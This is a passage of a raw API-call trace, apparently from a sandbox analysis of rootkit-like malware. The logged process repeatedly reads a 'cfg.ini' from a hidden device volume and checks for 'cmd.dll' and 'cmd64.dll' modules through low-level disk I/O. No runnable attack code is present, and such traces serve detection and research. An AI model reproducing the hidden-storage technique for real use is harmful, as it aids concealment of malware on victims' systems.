MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.107] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.107] IdePortDispatch () returned 0x103 [0121.107] KeWaitForMutexObject () returned 0x0 [0121.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.107] KeLeaveCriticalRegion () [0121.107] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.107] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.107] KeEnterCriticalRegion () [0121.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ba000 [0121.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.108] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.108] IdePortDispatch () returned 0x103 [0121.108] KeWaitForMutexObject () returned 0x0 [0121.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.108] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.108] IdePortDispatch () returned 0x103 [0121.108] KeWaitForMutexObject () returned 0x0 [0121.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.108] KeLeaveCriticalRegion () [0121.108] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.109] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.109] KeEnterCriticalRegion () [0121.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] KeLeaveCriticalRegion () [0121.109] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.109] KeEnterCriticalRegion () [0121.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.109] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] KeLeaveCriticalRegion () [0121.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.109] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.109] KeEnterCriticalRegion () [0121.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] ExFreePoolWithTag (P=0xfffffa8003bc3b60, Tag=0x0) [0121.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] KeLeaveCriticalRegion () [0121.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.109] ReleaseMutex (hMutex=0xf0) returned 1 [0121.109] Sleep (dwMilliseconds=0x124f80) [0121.123] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.123] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.123] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.123] KeEnterCriticalRegion () [0121.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.123] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.123] IdePortDispatch () returned 0x103 [0121.123] KeWaitForMutexObject () returned 0x0 [0121.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.123] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.124] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.124] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.124] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.124] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe190 [0121.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.124] KeLeaveCriticalRegion () [0121.124] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.124] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.124] KeEnterCriticalRegion () [0121.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.124] KeLeaveCriticalRegion () [0121.124] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.124] KeEnterCriticalRegion () [0121.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.124] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.124] IdePortDispatch () returned 0x103 [0121.124] KeWaitForMutexObject () returned 0x0 [0121.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.124] KeLeaveCriticalRegion () [0121.124] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.124] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.124] KeEnterCriticalRegion () [0121.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.124] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bf000 [0121.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.124] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.124] IdePortDispatch () returned 0x103 [0121.125] KeWaitForMutexObject () returned 0x0 [0121.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.125] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.125] IdePortDispatch () returned 0x103 [0121.125] KeWaitForMutexObject () returned 0x0 [0121.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.125] KeLeaveCriticalRegion () [0121.125] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.125] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.126] KeEnterCriticalRegion () [0121.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] KeLeaveCriticalRegion () [0121.126] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.126] KeEnterCriticalRegion () [0121.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.126] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc33c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] KeLeaveCriticalRegion () [0121.126] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.126] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.126] KeEnterCriticalRegion () [0121.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] ExFreePoolWithTag (P=0xfffffa8003bbe190, Tag=0x0) [0121.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] KeLeaveCriticalRegion () [0121.126] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.126] ReleaseMutex (hMutex=0xf0) returned 1 [0121.126] Sleep (dwMilliseconds=0x124f80) [0121.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.140] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.140] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.140] KeEnterCriticalRegion () [0121.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.140] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.140] IdePortDispatch () returned 0x103 [0121.141] KeWaitForMutexObject () returned 0x0 [0121.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.141] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.141] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.141] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.141] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.141] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3200 [0121.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.141] KeLeaveCriticalRegion () [0121.141] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.141] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.141] KeEnterCriticalRegion () [0121.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.141] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.141] KeLeaveCriticalRegion () [0121.141] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.141] KeEnterCriticalRegion () [0121.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.141] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.141] IdePortDispatch () returned 0x103 [0121.141] KeWaitForMutexObject () returned 0x0 [0121.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.142] KeLeaveCriticalRegion () [0121.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.142] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.142] KeEnterCriticalRegion () [0121.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c4000 [0121.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.142] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.142] IdePortDispatch () returned 0x103 [0121.142] KeWaitForMutexObject () returned 0x0 [0121.142] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.142] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.142] IdePortDispatch () returned 0x103 [0121.142] KeWaitForMutexObject () returned 0x0 [0121.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.142] KeLeaveCriticalRegion () [0121.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.143] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.143] KeEnterCriticalRegion () [0121.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] KeLeaveCriticalRegion () [0121.143] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.143] KeEnterCriticalRegion () [0121.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.143] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] KeLeaveCriticalRegion () [0121.143] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.143] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.143] KeEnterCriticalRegion () [0121.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] ExFreePoolWithTag (P=0xfffffa8003bc3200, Tag=0x0) [0121.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] KeLeaveCriticalRegion () [0121.143] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.143] ReleaseMutex (hMutex=0xf0) returned 1 [0121.143] Sleep (dwMilliseconds=0x124f80) [0121.157] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.157] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.157] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.157] KeEnterCriticalRegion () [0121.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.157] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.157] IdePortDispatch () returned 0x103 [0121.158] KeWaitForMutexObject () returned 0x0 [0121.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.158] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.158] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.158] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.158] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc33b0 [0121.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.158] KeLeaveCriticalRegion () [0121.158] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.158] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.158] KeEnterCriticalRegion () [0121.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.158] KeLeaveCriticalRegion () [0121.158] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.158] KeEnterCriticalRegion () [0121.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.158] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.158] IdePortDispatch () returned 0x103 [0121.158] KeWaitForMutexObject () returned 0x0 [0121.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.158] KeLeaveCriticalRegion () [0121.158] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.159] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.159] KeEnterCriticalRegion () [0121.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c9000 [0121.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.159] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.159] IdePortDispatch () returned 0x103 [0121.159] KeWaitForMutexObject () returned 0x0 [0121.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.160] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.160] IdePortDispatch () returned 0x103 [0121.160] KeWaitForMutexObject () returned 0x0 [0121.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.160] KeLeaveCriticalRegion () [0121.160] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) 